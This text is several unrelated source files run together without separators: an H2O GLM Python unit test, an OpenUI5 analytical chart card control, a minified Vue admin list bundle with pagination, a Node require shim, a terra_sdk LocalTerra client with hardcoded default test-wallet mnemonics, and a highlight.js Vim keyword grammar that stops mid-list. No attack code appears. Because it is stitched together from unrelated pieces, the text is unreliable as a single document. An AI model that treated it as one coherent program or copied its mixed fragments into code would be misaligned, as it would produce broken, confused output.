import unittest, time, sys sys.path.extend(['.','..','../..','py']) import h2o, h2o_cmd, h2o_glm, h2o_import as h2i class Basic(unittest.TestCase): def tearDown(self): h2o.check_sandbox_for_errors() @classmethod def setUpClass(cls): h2o.init(1) @classmethod def tearDownClass(cls): h2o.tear_down_cloud() def test_GLM2_clslowbwt(self): # filename, y, timeoutSecs # this hangs during parse for some reason csvFilenameList = [ ('clslowbwt.dat', 7, 10), ] trial = 0 for (csvFilename, y, timeoutSecs) in csvFilenameList: print "\n" + csvFilename kwargs = {'n_folds': 0, 'family': 'binomial', 'response': y} start = time.time() parseResult = h2i.import_parse(bucket='smalldata', path='logreg/umass_statdata/' + csvFilename, schema='put', timeoutSecs=timeoutSecs) glm = h2o_cmd.runGLM(parseResult=parseResult, timeoutSecs=timeoutSecs, **kwargs) h2o_glm.simpleCheckGLM(self, glm, None, **kwargs) print "glm end (w/check) on ", csvFilename, 'took', time.time() - start, 'seconds' trial += 1 print "\nTrial #", trial if __name__ == '__main__': h2o.unit_main()
/*! * OpenUI5 * (c) Copyright 2009-2019 SAP SE or an SAP affiliate company. * Licensed under the Apache License, Version 2.0 - see LICENSE.txt. */ sap.ui.define([ "sap/f/library", "sap/f/cards/BaseContent", "sap/viz/ui5/controls/VizFrame", "sap/viz/ui5/controls/common/feeds/FeedItem", "sap/viz/ui5/data/FlattenedDataset", "sap/base/Log", "sap/ui/core/Core", "jquery.sap.global" ], function (library, BaseContent, VizFrame, FeedItem, FlattenedDataset, Log, Core, jQuery) { "use strict"; /** * Enumeration with supported legend positions. */ var LegendPosition = { "Top": "top", "Bottom": "bottom", "Left": "left", "Right": "right" }; /** * Enumeration with supported legend alignments. */ var LegendAlignment = { "TopLeft": "topLeft", "Center": "center" }; /** * Enumeration with supported title alignments. */ var TitleAlignment = { "Left": "left", "Center": "center", "Right": "right" }; /** * Enumeration with supported chart types. */ var ChartTypes = { "Line": "line", "StackedColumn": "stacked_column", "StackedBar": "stacked_bar", "Donut": "donut" }; var AreaType = library.cards.AreaType; /** * Constructor for a new <code>AnalyticalContent</code>. * * @param {string} [sId] ID for the new control, generated automatically if no ID is given * @param {object} [mSettings] Initial settings for the new control * * @class * A control that is a wrapper around sap.viz library and allows the creation of analytical * controls (like charts) based on object configuration. * * @extends sap.f.cards.BaseContent * * @author SAP SE * @version 1.71.1 * * @constructor * @private * @since 1.62 * @alias sap.f.cards.AnalyticalContent */ var AnalyticalContent = BaseContent.extend("sap.f.cards.AnalyticalContent", { renderer: {} }); /** * Creates vizFrame readable vizProperties object. * * @private * @param {Object} oChartObject Chart information * @returns {Object} oVizPropertiesObject vizFrame vizProperties object */ AnalyticalContent.prototype._getVizPropertiesObject = function (oChartObject) { var oTitle = oChartObject.title, oLegend = oChartObject.legend, oPlotArea = oChartObject.plotArea; if (!oChartObject) { return this; } var oVizPropertiesObject = { "title": { "style": { "fontWeight": "normal" }, "layout": { "respectPlotPosition": false } }, "legend": {}, "legendGroup": { "layout": {} }, "plotArea": { "window": { "start": "firstDataPoint", "end": "lastDataPoint" } }, "categoryAxis": { "title": {} }, "valueAxis": { "title": {} }, "interaction": { "noninteractiveMode": true } }; if (oTitle) { oVizPropertiesObject.title.text = oTitle.text; oVizPropertiesObject.title.visible = oTitle.visible; oVizPropertiesObject.title.alignment = TitleAlignment[oTitle.alignment]; } if (oLegend) { oVizPropertiesObject.legend.visible = oLegend.visible; oVizPropertiesObject.legendGroup.layout.position = LegendPosition[oLegend.position]; oVizPropertiesObject.legendGroup.layout.alignment = LegendAlignment[oLegend.alignment]; } if (oPlotArea) { if (oPlotArea.dataLabel) { oVizPropertiesObject.plotArea.dataLabel = oPlotArea.dataLabel; } if (oPlotArea.categoryAxisText) { oVizPropertiesObject.categoryAxis.title.visible = oPlotArea.categoryAxisText.visible; } if (oPlotArea.valueAxisText) { oVizPropertiesObject.valueAxis.title.visible = oPlotArea.valueAxisText.visible; } } return oVizPropertiesObject; }; /** * Updates model when data is received and set chart as content. * * @private */ AnalyticalContent.prototype._updateModel = function () { this._createChart(); BaseContent.prototype._updateModel.apply(this, arguments); }; /** * Creates a chart depending on the configuration from the manifest. * * @private */ AnalyticalContent.prototype._createChart = function () { var oChartObject = this.getConfiguration(); if (!oChartObject.chartType) { Log.error("ChartType is a mandatory property"); return; } var aDimensionNames = []; if (oChartObject.dimensions) { var aDimensions = []; for (var i = 0; i < oChartObject.dimensions.length; i++) { var oDimension = oChartObject.dimensions[i]; var sName = oDimension.value.substring(1, oDimension.value.length - 1); aDimensionNames.push(sName); var oDimensionMap = { name: sName, value: oDimension.value }; aDimensions.push(oDimensionMap); } } var aMeasureNames = []; if (oChartObject.measures) { var aMeasures = []; for (var i = 0; i < oChartObject.measures.length; i++) { var oMeasure = oChartObject.measures[i]; var sName = oMeasure.value.substring(1, oMeasure.value.length - 1); aMeasureNames.push(sName); var oMeasureMap = { name: sName, value: oMeasure.value }; aMeasures.push(oMeasureMap); } } var oFlattendedDataset = new FlattenedDataset({ measures: aMeasures, dimensions: aDimensions, data: { path: this.getBindingContext().getPath() } }); var oChart = new VizFrame({ uiConfig: { applicationSet: 'fiori' }, height: "100%", width: "100%", vizType: ChartTypes[oChartObject.chartType], dataset: oFlattendedDataset, legendVisible: oChartObject.legend, feeds: [ new FeedItem({ uid: oChartObject.measureAxis, type: 'Measure', values: aMeasureNames }), new FeedItem({ uid: oChartObject.dimensionAxis, type: 'Dimension', values: aDimensionNames }) ] }); var oVizProperties = this._getVizPropertiesObject(oChartObject); oChart.setVizProperties(oVizProperties); this._oActions.setAreaType(AreaType.Content); this._oActions.attach(oChartObject, this); this.setAggregation("_content", oChart); }; AnalyticalContent.prototype.onBeforeRendering = function () { if (this._handleHostConfiguration) { //implementation is added with sap.ui.integration.host.HostConfiguration this._handleHostConfiguration(); } }; //add host configuration handler for analytical content AnalyticalContent.prototype._handleHostConfiguration = function () { var oParent = this.getParent(), oContent = this.getAggregation("_content"); if (oParent && oParent.getHostConfigurationId && oContent) { var oHostConfiguration = Core.byId(oParent.getHostConfigurationId()); if (oHostConfiguration) { var oSettings = oHostConfiguration.generateJSONSettings("vizProperties"), oVizProperties = oContent.getVizProperties(); oVizProperties = jQuery.extend(true, oVizProperties, oSettings); oContent.setVizProperties(oVizProperties); } } }; return AnalyticalContent; });
(window.webpackJsonp=window.webpackJsonp||[]).push([[45],{11:function(t,e,a){"use strict";var n={name:"ViewsIconButtonGBI",props:["url"],data:function(){return{}}},i=a(0),r=Object(i.a)(n,(function(){var t=this.$createElement,e=this._self._c||t;return e("router-link",{staticClass:"edit_link",attrs:{to:this.url}},[e("span",{staticClass:"badge badge-primary",attrs:{title:"View Item"}},[e("i",{staticClass:"fas fa-eye"})])])}),[],!1,null,null,null);e.a=r.exports},301:function(t,e,a){"use strict";a.r(e);var n=a(6),i=a(9),r=a.n(i),s=a(7),l=a(11),o=a(8),u=a(5);function c(t,e){var a=Object.keys(t);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(t);e&&(n=n.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),a.push.apply(a,n)}return a}function p(t,e,a){return e in t?Object.defineProperty(t,e,{value:a,enumerable:!0,configurable:!0,writable:!0}):t[e]=a,t}var d={name:"ListItineraryRequest",components:{"list-layout":n.a,"table-loader":o.a,pagination:r.a,"delete-icon":s.a,"view-icon":l.a},data:function(){return{fields:[{key:"source",label:"source",sortable:!0,thClass:"table-head"},{key:"destination",label:"destination",sortable:!0,thClass:"table-head"},{key:"phoneno",label:"phoneno",sortable:!0,thClass:"table-head"},{key:"email",label:"email",sortable:!0,thClass:"table-head"},{key:"action",label:"action",thClass:"table-head"}],limit:-1,filter:"",perPage:7,options:[7,25,50,100]}},mounted:function(){this.getitems()},computed:function(t){for(var e=1;e<arguments.length;e++){var a=null!=arguments[e]?arguments[e]:{};e%2?c(Object(a),!0).forEach((function(e){p(t,e,a[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(a)):c(Object(a)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(a,e))}))}return t}({},Object(u.b)(["items"])),watch:{perPage:function(){this.getitems(1,this.perPage)}},methods:{getitems:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:1,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.perPage;this.$store.dispatch("getItems","/itineraryrequst/all/"+e+"?page="+t)},deleteItem:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:-1,a=p({api:"/itineraryrequst/"+t,index:e},"index",e);this.$store.dispatch("deleteItem",a)}}},f=a(0),g=Object(f.a)(d,(function(){var t=this,e=t.$createElement,a=t._self._c||e;return a("list-layout",{scopedSlots:t._u([{key:"perpage",fn:function(){return[a("b-form-group",{staticClass:"mb-0",attrs:{label:"Per page","label-for":"per-page-select","label-cols-sm":"6","label-cols-md":"4","label-cols-lg":"3","label-align-sm":"right","label-size":"sm"}},[a("b-form-select",{staticClass:"radius-0",attrs:{id:"per-page-select",options:t.options},model:{value:t.perPage,callback:function(e){t.perPage=e},expression:"perPage"}})],1)]},proxy:!0},{key:"searchbar",fn:function(){return[a("b-form-input",{staticClass:"radius-0",attrs:{type:"search",placeholder:"Type to Search"},model:{value:t.filter,callback:function(e){t.filter=e},expression:"filter"}})]},proxy:!0},{key:"table",fn:function(){return[a("b-table",{staticClass:"w-100 table-layout",attrs:{id:"table-transition",striped:"",hover:"",outlined:"","sticky-header":"460px",fields:t.fields,items:t.items.data,busy:t.$store.getters.isBusy,filter:t.filter,"primary-key":"updated_at"},scopedSlots:t._u([{key:"table-busy",fn:function(){return[a("table-loader")]},proxy:!0},{key:"cell(address)",fn:function(e){return[t._v("\n "+t._s(t._f("readMore")(e.item.address,50))+"\n ")]}},{key:"cell(action)",fn:function(e){return[a("view-icon",{attrs:{url:"/itinerary-request/"+e.item.id}}),t._v(" "),a("delete-icon",{nativeOn:{click:function(a){return t.deleteItem(e.item.id,e.index)}}})]}}])})]},proxy:!0},t.items.data?{key:"pagination",fn:function(){return[a("div",{staticClass:"w-100"},[a("pagination",{attrs:{data:t.items,align:"right",limit:t.limit},on:{"pagination-change-page":t.getitems}},[a("span",{attrs:{slot:"prev-nav"},slot:"prev-nav"},[t._v("Previous")]),t._v(" "),a("span",{attrs:{slot:"next-nav"},slot:"next-nav"},[t._v("Next")])])],1)]},proxy:!0}:null],null,!0)})}),[],!1,null,null,null);e.default=g.exports},32:function(t,e,a){"use strict";var n={name:"AddButtonGBI",props:["url"]},i=a(0),r=Object(i.a)(n,(function(){var t=this.$createElement;return(this._self._c||t)("router-link",{staticClass:"text-capitalize font-weight-bold",attrs:{to:this.url}},[this._t("default",[this._v("add")])],2)}),[],!1,null,null,null);e.a=r.exports},6:function(t,e,a){"use strict";var n={name:"ListLayoutGBI",components:{"add-button":a(32).a},props:["addurl","buttontext"]},i=a(0),r=Object(i.a)(n,(function(){var t=this,e=t.$createElement,a=t._self._c||e;return a("section",{staticClass:"content"},[a("div",{staticClass:"row justify-content-around"},[a("div",{staticClass:"col-md-12 pb-5"},[a("div",{staticClass:"container container_admin_body list-section pb-5"},[a("b-row",{staticClass:"mb-1 mt-1",attrs:{"align-h":"between"}},[a("b-col",{staticClass:"top_btn p-0",attrs:{md:"3",cols:"4"}},[t.addurl?a("div",[a("add-button",{attrs:{url:t.addurl}},[t._v(t._s(t.buttontext))])],1):t._e()]),t._v(" "),a("b-col",{attrs:{cols:"2"}}),t._v(" "),a("b-col",{staticClass:"p-0",attrs:{cols:"3"}},[t._t("perpage")],2),t._v(" "),a("b-col",{staticClass:"p-0",attrs:{md:"3",cols:"4"}},[t._t("searchbar")],2)],1),t._v(" "),a("b-row",{staticClass:"text-capitalize"},[t._t("table"),t._v(" "),a("div",{staticClass:"w-100"},[t._t("pagination")],2)],2)],1)])])])}),[],!1,null,null,null);e.a=r.exports},7:function(t,e,a){"use strict";var n={name:"DeleteButtonGBI",data:function(){return{}}},i=a(0),r=Object(i.a)(n,(function(){var t=this.$createElement;this._self._c;return this._m(0)}),[function(){var t=this.$createElement,e=this._self._c||t;return e("span",{staticClass:"delete_link",attrs:{title:"Delete Item"}},[e("span",{staticClass:"badge badge-danger pointer"},[e("i",{staticClass:"far fa-trash-alt"})])])}],!1,null,null,null);e.a=r.exports},8:function(t,e,a){"use strict";var n={name:"TableLoader"},i=a(0),r=Object(i.a)(n,(function(){var t=this.$createElement,e=this._self._c||t;return e("div",{staticClass:"text-center admin-bg-color my-2"},[e("b-spinner",{staticClass:"align-middle"}),this._v(" "),e("strong",[this._v("Loading...")])],1)}),[],!1,null,null,null);e.a=r.exports},9:function(t,e){t.exports=function(t){var e={};function a(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,a),i.l=!0,i.exports}return a.m=t,a.c=e,a.d=function(t,e,n){a.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:n})},a.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},a.t=function(t,e){if(1&e&&(t=a(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var n=Object.create(null);if(a.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var i in t)a.d(n,i,function(e){return t[e]}.bind(null,i));return n},a.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return a.d(e,"a",e),e},a.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},a.p="",a(a.s="fb15")}({f6fd:function(t,e){!function(t){var e=t.getElementsByTagName("script");"currentScript"in t||Object.defineProperty(t,"currentScript",{get:function(){try{throw new Error}catch(n){var t,a=(/.*at [^\(]*\((.*):.+:.+\)$/gi.exec(n.stack)||[!1])[1];for(t in e)if(e[t].src==a||"interactive"==e[t].readyState)return e[t];return null}}})}(document)},fb15:function(t,e,a){"use strict";var n;(a.r(e),"undefined"!=typeof window)&&(a("f6fd"),(n=window.document.currentScript)&&(n=n.src.match(/(.+\/)[^/]+\.js(\?.*)?$/))&&(a.p=n[1]));function i(t,e,a,n,i,r,s,l){var o,u="function"==typeof t?t.options:t;if(e&&(u.render=e,u.staticRenderFns=a,u._compiled=!0),n&&(u.functional=!0),r&&(u._scopeId="data-v-"+r),s?(o=function(t){(t=t||this.$vnode&&this.$vnode.ssrContext||this.parent&&this.parent.$vnode&&this.parent.$vnode.ssrContext)||"undefined"==typeof __VUE_SSR_CONTEXT__||(t=__VUE_SSR_CONTEXT__),i&&i.call(this,t),t&&t._registeredComponents&&t._registeredComponents.add(s)},u._ssrRegister=o):i&&(o=l?function(){i.call(this,this.$root.$options.shadowRoot)}:i),o)if(u.functional){u._injectStyles=o;var c=u.render;u.render=function(t,e){return o.call(e),c(t,e)}}else{var p=u.beforeCreate;u.beforeCreate=p?[].concat(p,o):[o]}return{exports:t,options:u}}var r=i({props:{data:{type:Object,default:function(){}},limit:{type:Number,default:0},showDisabled:{type:Boolean,default:!1},size:{type:String,default:"default",validator:function(t){return-1!==["small","default","large"].indexOf(t)}},align:{type:String,default:"left",validator:function(t){return-1!==["left","center","right"].indexOf(t)}}},computed:{isApiResource:function(){return!!this.data.meta},currentPage:function(){return this.isApiResource?this.data.meta.current_page:this.data.current_page},firstPageUrl:function(){return this.isApiResource?this.data.links.first:null},from:function(){return this.isApiResource?this.data.meta.from:this.data.from},lastPage:function(){return this.isApiResource?this.data.meta.last_page:this.data.last_page},lastPageUrl:function(){return this.isApiResource?this.data.links.last:null},nextPageUrl:function(){return this.isApiResource?this.data.links.next:this.data.next_page_url},perPage:function(){return this.isApiResource?this.data.meta.per_page:this.data.per_page},prevPageUrl:function(){return this.isApiResource?this.data.links.prev:this.data.prev_page_url},to:function(){return this.isApiResource?this.data.meta.to:this.data.to},total:function(){return this.isApiResource?this.data.meta.total:this.data.total},pageRange:function(){if(-1===this.limit)return 0;if(0===this.limit)return this.lastPage;for(var t,e=this.currentPage,a=this.lastPage,n=this.limit,i=e-n,r=e+n+1,s=[],l=[],o=1;o<=a;o++)(1===o||o===a||o>=i&&o<r)&&s.push(o);return s.forEach((function(e){t&&(e-t==2?l.push(t+1):e-t!=1&&l.push("...")),l.push(e),t=e})),l}},methods:{previousPage:function(){this.selectPage(this.currentPage-1)},nextPage:function(){this.selectPage(this.currentPage+1)},selectPage:function(t){"..."!==t&&this.$emit("pagination-change-page",t)}},render:function(){var t=this;return this.$scopedSlots.default({data:this.data,limit:this.limit,showDisabled:this.showDisabled,size:this.size,align:this.align,computed:{isApiResource:this.isApiResource,currentPage:this.currentPage,firstPageUrl:this.firstPageUrl,from:this.from,lastPage:this.lastPage,lastPageUrl:this.lastPageUrl,nextPageUrl:this.nextPageUrl,perPage:this.perPage,prevPageUrl:this.prevPageUrl,to:this.to,total:this.total,pageRange:this.pageRange},prevButtonEvents:{click:function(e){e.preventDefault(),t.previousPage()}},nextButtonEvents:{click:function(e){e.preventDefault(),t.nextPage()}},pageButtonEvents:function(e){return{click:function(a){a.preventDefault(),t.selectPage(e)}}}})}},void 0,void 0,!1,null,null,null).exports,s=i({props:{data:{type:Object,default:function(){}},limit:{type:Number,default:0},showDisabled:{type:Boolean,default:!1},size:{type:String,default:"default",validator:function(t){return-1!==["small","default","large"].indexOf(t)}},align:{type:String,default:"left",validator:function(t){return-1!==["left","center","right"].indexOf(t)}}},methods:{onPaginationChangePage:function(t){this.$emit("pagination-change-page",t)}},components:{RenderlessLaravelVuePagination:r}},(function(){var t=this,e=t.$createElement,a=t._self._c||e;return a("renderless-laravel-vue-pagination",{attrs:{data:t.data,limit:t.limit,"show-disabled":t.showDisabled,size:t.size,align:t.align},on:{"pagination-change-page":t.onPaginationChangePage},scopedSlots:t._u([{key:"default",fn:function(e){e.data,e.limit;var n=e.showDisabled,i=e.size,r=e.align,s=e.computed,l=e.prevButtonEvents,o=e.nextButtonEvents,u=e.pageButtonEvents;return s.total>s.perPage?a("ul",{staticClass:"pagination",class:{"pagination-sm":"small"==i,"pagination-lg":"large"==i,"justify-content-center":"center"==r,"justify-content-end":"right"==r}},[s.prevPageUrl||n?a("li",{staticClass:"page-item pagination-prev-nav",class:{disabled:!s.prevPageUrl}},[a("a",t._g({staticClass:"page-link",attrs:{href:"#","aria-label":"Previous",tabindex:!s.prevPageUrl&&-1}},l),[t._t("prev-nav",[a("span",{attrs:{"aria-hidden":"true"}},[t._v("«")]),a("span",{staticClass:"sr-only"},[t._v("Previous")])])],2)]):t._e(),t._l(s.pageRange,(function(e,n){return a("li",{key:n,staticClass:"page-item pagination-page-nav",class:{active:e==s.currentPage}},[a("a",t._g({staticClass:"page-link",attrs:{href:"#"}},u(e)),[t._v("\n "+t._s(e)+"\n "),e==s.currentPage?a("span",{staticClass:"sr-only"},[t._v("(current)")]):t._e()])])})),s.nextPageUrl||n?a("li",{staticClass:"page-item pagination-next-nav",class:{disabled:!s.nextPageUrl}},[a("a",t._g({staticClass:"page-link",attrs:{href:"#","aria-label":"Next",tabindex:!s.nextPageUrl&&-1}},o),[t._t("next-nav",[a("span",{attrs:{"aria-hidden":"true"}},[t._v("»")]),a("span",{staticClass:"sr-only"},[t._v("Next")])])],2)]):t._e()],2):t._e()}}],null,!0)})}),[],!1,null,null,null).exports;e.default=s}}).default}}]);
var production = process.env.NODE_ENV === 'production'; module.exports = require('./lib-node6' + (production ? '' : '-dev') + '/');
from typing import Dict from terra_sdk.key.mnemonic import MnemonicKey from .lcd import AsyncLCDClient, AsyncWallet, LCDClient, Wallet __all__ = ["LOCALTERRA_MNEMONICS", "LocalTerra", "AsyncLocalTerra"] LOCALTERRA_MNEMONICS = { "validator": "satisfy adjust timber high purchase tuition stool faith fine install that you unaware feed domain license impose boss human eager hat rent enjoy dawn", "test1": "notice oak worry limit wrap speak medal online prefer cluster roof addict wrist behave treat actual wasp year salad speed social layer crew genius", "test2": "quality vacuum heart guard buzz spike sight swarm shove special gym robust assume sudden deposit grid alcohol choice devote leader tilt noodle tide penalty", "test3": "symbol force gallery make bulk round subway violin worry mixture penalty kingdom boring survey tool fringe patrol sausage hard admit remember broken alien absorb", "test4": "bounce success option birth apple portion aunt rural episode solution hockey pencil lend session cause hedgehog slender journey system canvas decorate razor catch empty", "test5": "second render cat sing soup reward cluster island bench diet lumber grocery repeat balcony perfect diesel stumble piano distance caught occur example ozone loyal", "test6": "spatial forest elevator battle also spoon fun skirt flight initial nasty transfer glory palm drama gossip remove fan joke shove label dune debate quick", "test7": "noble width taxi input there patrol clown public spell aunt wish punch moment will misery eight excess arena pen turtle minimum grain vague inmate", "test8": "cream sport mango believe inhale text fish rely elegant below earth april wall rug ritual blossom cherry detail length blind digital proof identify ride", "test9": "index light average senior silent limit usual local involve delay update rack cause inmate wall render magnet common feature laundry exact casual resource hundred", "test10": "prefer forget visit mistake mixture feel eyebrow autumn shop pair address airport diesel street pass vague innocent poem method awful require hurry unhappy shoulder", } LOCALTERRA_DEFAULTS = { "url": "http://localhost:1317", "chain_id": "localterra", "gas_prices": {"uluna": "0.15"}, "gas_adjustment": 1.75, } class AsyncLocalTerra(AsyncLCDClient): """An :class:`AsyncLCDClient` that comes preconfigured with the default settings for connecting to a LocalTerra node. """ wallets: Dict[str, AsyncWallet] """Ready-to use :class:`Wallet` objects with LocalTerra default accounts.""" def __init__(self, *args, **kwargs): options = {**LOCALTERRA_DEFAULTS, **kwargs} super().__init__(*args, **options) self.wallets = { wallet_name: self.wallet( MnemonicKey(mnemonic=LOCALTERRA_MNEMONICS[wallet_name]) ) for wallet_name in LOCALTERRA_MNEMONICS } class LocalTerra(LCDClient): """A :class:`LCDClient` that comes preconfigured with the default settings for connecting to a LocalTerra node. """ wallets: Dict[str, Wallet] """Ready-to use :class:`Wallet` objects with LocalTerra default accounts. >>> terra = LocalTerra() >>> terra.wallets['test1'].key.acc_address 'terra1x46rqay4d3cssq8gxxvqz8xt6nwlz4td20k38v' """ def __init__(self, *args, **kwargs): options = {**LOCALTERRA_DEFAULTS, **kwargs} super().__init__(*args, **options) self.wallets = { wallet_name: self.wallet( MnemonicKey(mnemonic=LOCALTERRA_MNEMONICS[wallet_name]) ) for wallet_name in LOCALTERRA_MNEMONICS }
/* Language: Vim Script Author: Jun Yang <[email protected]> Description: full keyword and built-in from http://vimdoc.sourceforge.net/htmldoc/ Category: scripting */ function (hljs) { return { lexemes: /[!#@\w]+/, keywords: { keyword: // express version except: ! & * < = > !! # @ @@ 'N|0 P|0 X|0 a|0 ab abc abo al am an|0 ar arga argd arge argdo argg argl argu as au aug aun b|0 bN ba bad bd be bel bf bl bm bn bo bp br brea breaka breakd breakl bro bufdo buffers bun bw c|0 cN cNf ca cabc caddb cad caddf cal cat cb cc ccl cd ce cex cf cfir cgetb cgete cg changes chd che checkt cl cla clo cm cmapc cme cn cnew cnf cno cnorea cnoreme co col colo com comc comp con conf cope ' + 'cp cpf cq cr cs cst cu cuna cunme cw delm deb debugg delc delf dif diffg diffo diffp diffpu diffs diffthis dig di dl dell dj dli do doautoa dp dr ds dsp e|0 ea ec echoe echoh echom echon el elsei em en endfo endf endt endw ene ex exe exi exu f|0 files filet fin fina fini fir fix fo foldc foldd folddoc foldo for fu go gr grepa gu gv ha helpf helpg helpt hi hid his ia iabc if ij il im imapc ' + 'ime ino inorea inoreme int is isp iu iuna iunme j|0 ju k|0 keepa kee keepj lN lNf l|0 lad laddb laddf la lan lat lb lc lch lcl lcs le lefta let lex lf lfir lgetb lgete lg lgr lgrepa lh ll lla lli lmak lm lmapc lne lnew lnf ln loadk lo loc lockv lol lope lp lpf lr ls lt lu lua luad luaf lv lvimgrepa lw m|0 ma mak map mapc marks mat me menut mes mk mks mksp mkv mkvie mod mz mzf nbc nb nbs new nm nmapc nme nn nnoreme noa no noh norea noreme norm nu nun nunme ol o|0 om omapc ome on ono onoreme opt ou ounme ow p|0 ' + 'profd prof pro promptr pc ped pe perld po popu pp pre prev ps pt ptN ptf ptj ptl ptn ptp ptr pts pu pw py3 python3 py3d py3f py pyd pyf quita qa rec red redi redr redraws reg res ret retu rew ri rightb rub rubyd rubyf rund ru rv sN san sa sal sav sb sbN sba sbf sbl sbm sbn sbp sbr scrip scripte scs se setf setg setl sf sfir sh sim sig sil sl sla sm smap smapc sme sn sni sno snor snoreme sor ' + 'so spelld spe spelli spellr spellu spellw sp spr sre st sta startg startr star stopi stj sts sun sunm sunme sus sv sw sy synti sync tN tabN tabc tabdo tabe tabf tabfir tabl tabm tabnew ' + 'tabn tabo tabp tabr tabs tab ta tags tc tcld tclf te tf th tj tl tm tn to tp tr try ts tu u|0 undoj undol una unh unl unlo unm unme uns up ve verb vert vim vimgrepa vi viu vie vm vmapc vme vne vn vnoreme vs vu vunme windo w|0 wN wa wh wi winc winp wn wp wq wqa ws wu wv x|0 xa xmapc xm xme xn xnoreme xu xunme y|0 z|0 ~ ' + // full version 'Next Print append abbreviate abclear aboveleft all amenu anoremenu args argadd argdelete argedit argglobal arglocal argument ascii autocmd augroup aunmenu buffer bNext ball badd bdelete behave belowright bfirst blast bmodified bnext botright bprevious brewind break breakadd breakdel breaklist browse bunload ' + 'bwipeout change cNext cNfile cabbrev cabclear caddbuffer caddexpr caddfile call catch cbuffer cclose center cexpr cfile cfirst cgetbuffer cgetexpr cgetfile chdir checkpath checktime clist clast close cmap cmapclear cmenu cnext cnewer cnfile cnoremap cnoreabbrev cnoremenu copy colder colorscheme command comclear compiler continue confirm copen cprevious cpfile cquit crewind cscope cstag cunmap ' + 'cunabbrev cunmenu cwindow delete delmarks debug debuggreedy delcommand delfunction diffupdate diffget diffoff diffpatch diffput diffsplit digraphs display deletel djump dlist doautocmd doautoall deletep drop dsearch dsplit edit earlier echo echoerr echohl echomsg else elseif emenu endif endfor ' + 'endfunction endtry endwhile enew execute exit exusage file filetype find finally finish first fixdel fold foldclose folddoopen folddoclosed foldopen function global goto grep grepadd gui gvim hardcopy help helpfind helpgrep helptags highlight hide history insert iabbrev iabclear ijump ilist imap ' + 'imapclear imenu inoremap inoreabbrev inoremenu intro isearch isplit iunmap iunabbrev iunmenu join jumps keepalt keepmarks keepjumps lNext lNfile list laddexpr laddbuffer laddfile last language later lbuffer lcd lchdir lclose lcscope left leftabove lexpr lfile lfirst lgetbuffer lgetexpr lgetfile lgrep lgrepadd lhelpgrep llast llist lmake lmap lmapclear lnext lnewer lnfile lnoremap loadkeymap loadview ' + 'lockmarks lockvar lolder lopen lprevious lpfile lrewind ltag lunmap luado luafile lvimgrep lvimgrepadd lwindow move mark make mapclear match menu menutranslate messages mkexrc mksession mkspell mkvimrc mkview mode mzscheme mzfile nbclose nbkey nbsart next nmap nmapclear nmenu nnoremap ' + 'nnoremenu noautocmd noremap nohlsearch noreabbrev noremenu normal number nunmap nunmenu oldfiles open omap omapclear omenu only onoremap onoremenu options ounmap ounmenu ownsyntax print profdel profile promptfind promptrepl pclose pedit perl perldo pop popup ppop preserve previous psearch ptag ptNext ' + 'ptfirst ptjump ptlast ptnext ptprevious ptrewind ptselect put pwd py3do py3file python pydo pyfile quit quitall qall read recover redo redir redraw redrawstatus registers resize retab return rewind right rightbelow ruby rubydo rubyfile rundo runtime rviminfo substitute sNext sandbox sargument sall saveas sbuffer sbNext sball sbfirst sblast sbmodified sbnext sbprevious sbrewind scriptnames scriptencoding ' + 'scscope set setfiletype setglobal setlocal sfind sfirst shell simalt sign silent sleep slast smagic smapclear smenu snext sniff snomagic snoremap snoremenu sort source spelldump spellgood spellinfo spellrepall spellundo spellwrong split sprevious srewind stop stag startgreplace startreplace ' + 'startinsert stopinsert stjump stselect sunhide sunmap sunmenu suspend sview swapname syntax syntime syncbind tNext tabNext tabclose tabedit tabfind tabfirst tablast tabmove tabnext tabonly tabprevious tabrewind tag tcl tcldo tclfile tearoff tfirst throw tjump tlast tmenu tnext topleft tprevious ' + 'trewind tselect tunmenu undo undojoin undolist unabbreviate unhide unlet unlockvar unmap unmenu unsilent update vglobal version verbose vertical vimgrep vimgrepadd visual viusage view vmap vmapclear vmenu vnew ' + 'vnoremap vnoremenu vsplit vunmap vunmenu write wNext wall while winsize wincmd winpos wnext wprevious wqall wsverb wundo wviminfo xit xall xmapclear xmap xmenu xnoremap xnoremenu xunmap xunmenu yank', built_in: //built in func 'synIDtrans atan2 range matcharg did_filetype asin feedkeys xor argv ' + 'complete_check add getwinposx getqflist getwinposy screencol ' + 'clearmatches empty extend getcmdpos mzeval garbagecollect setreg ' + 'ceil sqrt diff_hlID inputsecret get getfperm getpid filewritable ' + 'shiftwidth max sinh isdirectory synID system inputrestore winline ' + 'atan visualmode inputlist tabpagewinnr round getregtype mapcheck ' + 'hasmapto histdel argidx findfile sha256 exists toupper getcmdline ' + 'taglist string getmatches bufnr strftime winwidth bufexists ' + 'strtrans tabpagebuflist setcmdpos remote_read printf setloclist ' + 'getpos getline bufwinnr float2nr len getcmdtype diff_filler luaeval ' + 'resolve libcallnr foldclosedend reverse filter has_key bufname ' + 'str2float strlen setline getcharmod setbufvar index searchpos ' + 'shellescape undofile foldclosed setqflist buflisted strchars str2nr ' + 'virtcol floor remove undotree remote_expr winheight gettabwinvar ' + 'reltime cursor tabpagenr finddir localtime acos getloclist search ' + 'tanh matchend rename gettabvar strdisplaywidth type abs py3eval ' + 'setwinvar tolower wildmenumode log10 spellsuggest bufloaded ' + 'synconcealed nextnonblank server2client complete settabwinvar ' + 'executable input wincol setmatches getftype hlID inputsave ' + 'searchpair or screenrow line settabvar histadd deepcopy strpart ' + 'remote_peek and eval getftime submatch screenchar winsaveview ' + 'matchadd 